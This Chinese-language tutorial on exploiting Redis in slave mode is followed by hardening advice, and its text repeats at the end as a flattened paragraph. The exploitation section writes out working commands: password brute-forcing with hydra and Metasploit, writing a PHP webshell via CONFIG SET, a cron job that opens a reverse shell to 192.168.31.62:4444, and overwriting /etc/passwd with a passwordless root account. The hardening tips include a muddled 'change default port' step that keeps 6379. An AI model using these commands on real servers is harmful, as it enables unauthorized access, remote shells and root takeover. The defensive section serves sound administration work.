Redis slave 模式下的漏洞利用
字数 807 2025-08-18 11:39:03

Redis Slave模式下的漏洞利用与安全加固指南

一、Redis简介

Redis是一个完全开源免费的高性能key-value数据库,具有以下特点:

  • 支持数据持久化:内存数据可保存到磁盘,重启后可重新加载
  • 支持多种数据结构:包括list、set、zset、hash等
  • 支持数据备份:通过master-slave模式实现数据备份

二、环境搭建

1. 安装Redis(以2.8.17版本为例)

wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar zxvf redis-2.8.17.tar.gz
cd redis-2.8.17
make MALLOC=libc
make install

# 创建目录结构
mkdir -p /usr/local/redis/etc
mkdir -p /usr/local/redis/bin

# 复制配置文件
cp redis.conf /usr/local/redis/etc/

# 复制可执行文件
cd src/
mv mkreleasehdr.sh redis-benchmark redis-check-aof redis-check-dump redis-cli redis-server /usr/local/redis/bin

2. 配置Slave节点

在slave节点的redis.conf文件中添加:

echo "slaveof 192.168.31.41 6379" >> /usr/local/redis/etc/redis.conf

3. 启动Redis服务

/usr/local/redis/bin/./redis-server /usr/local/redis/etc/redis.conf

启动后,slave节点会自动同步master节点的数据。

三、漏洞利用方法

1. 暴力枚举Redis密码

使用hydra工具:

hydra -P /root/tools/pass/q_10.txt redis://193.168.31.41

或使用Metasploit框架:

msf > use auxiliary/scanner/redis/redis_login

2. 未授权或已知密码情况下的利用

(1) 主从切换利用

当slave节点断开连接后,可以晋升为主节点:

./redis-cli -h 192.168.31.207 -p 6379
INFO replication
SLAVEOF no one

(2) 写入Webshell

config set dir /var/www/html
config set dbfilename webshell.php
set webshell "<?php phpinfo(); ?>"
save

(3) 通过计划任务反弹shell

config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/sh -i>&/dev/tcp/192.168.31.62/4444 0>&1\n\n"
save

(4) 写入SSH免密登录密钥

方法与写入webshell类似,需要知道目标用户的.ssh目录路径。

(5) 修改/etc/passwd文件

config set dir /etc/
config set dbfilename passwd
set xxx "eviluser::0:0::/root:/bin/bash\n"
save

四、Redis安全加固措施

1. 禁用危险命令

修改redis.conf文件:

rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

2. 以低权限运行Redis

groupadd -r redis && useradd -r -g redis redis

3. 添加密码验证

修改redis.conf文件:

requirepass mypassword

4. 禁止外网访问

修改redis.conf文件:

bind 127.0.0.1

5. 修改默认端口

修改redis.conf文件:

port 6379

6. 设置防火墙策略

仅允许指定IP访问Redis服务端口:

iptables -A INPUT -p tcp -s 允许的IP地址 --dport 6379 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP

五、最佳实践建议

  1. 定期更新Redis到最新稳定版本
  2. 启用AOF持久化而非RDB持久化
  3. 监控Redis日志文件
  4. 使用SSL/TLS加密通信(Redis 6.0+支持)
  5. 限制内存使用量防止DoS攻击
  6. 禁用Lua脚本执行或限制可执行脚本

通过以上措施,可以显著提高Redis服务的安全性,防止未授权访问和数据泄露风险。

Redis Slave模式下的漏洞利用与安全加固指南 一、Redis简介 Redis是一个完全开源免费的高性能key-value数据库,具有以下特点: 支持数据持久化:内存数据可保存到磁盘,重启后可重新加载 支持多种数据结构:包括list、set、zset、hash等 支持数据备份:通过master-slave模式实现数据备份 二、环境搭建 1. 安装Redis(以2.8.17版本为例) 2. 配置Slave节点 在slave节点的redis.conf文件中添加: 3. 启动Redis服务 启动后,slave节点会自动同步master节点的数据。 三、漏洞利用方法 1. 暴力枚举Redis密码 使用hydra工具: 或使用Metasploit框架: 2. 未授权或已知密码情况下的利用 (1) 主从切换利用 当slave节点断开连接后,可以晋升为主节点: (2) 写入Webshell (3) 通过计划任务反弹shell (4) 写入SSH免密登录密钥 方法与写入webshell类似,需要知道目标用户的.ssh目录路径。 (5) 修改/etc/passwd文件 四、Redis安全加固措施 1. 禁用危险命令 修改redis.conf文件: 2. 以低权限运行Redis 3. 添加密码验证 修改redis.conf文件: 4. 禁止外网访问 修改redis.conf文件: 5. 修改默认端口 修改redis.conf文件: 6. 设置防火墙策略 仅允许指定IP访问Redis服务端口: 五、最佳实践建议 定期更新Redis到最新稳定版本 启用AOF持久化而非RDB持久化 监控Redis日志文件 使用SSL/TLS加密通信(Redis 6.0+支持) 限制内存使用量防止DoS攻击 禁用Lua脚本执行或限制可执行脚本 通过以上措施,可以显著提高Redis服务的安全性,防止未授权访问和数据泄露风险。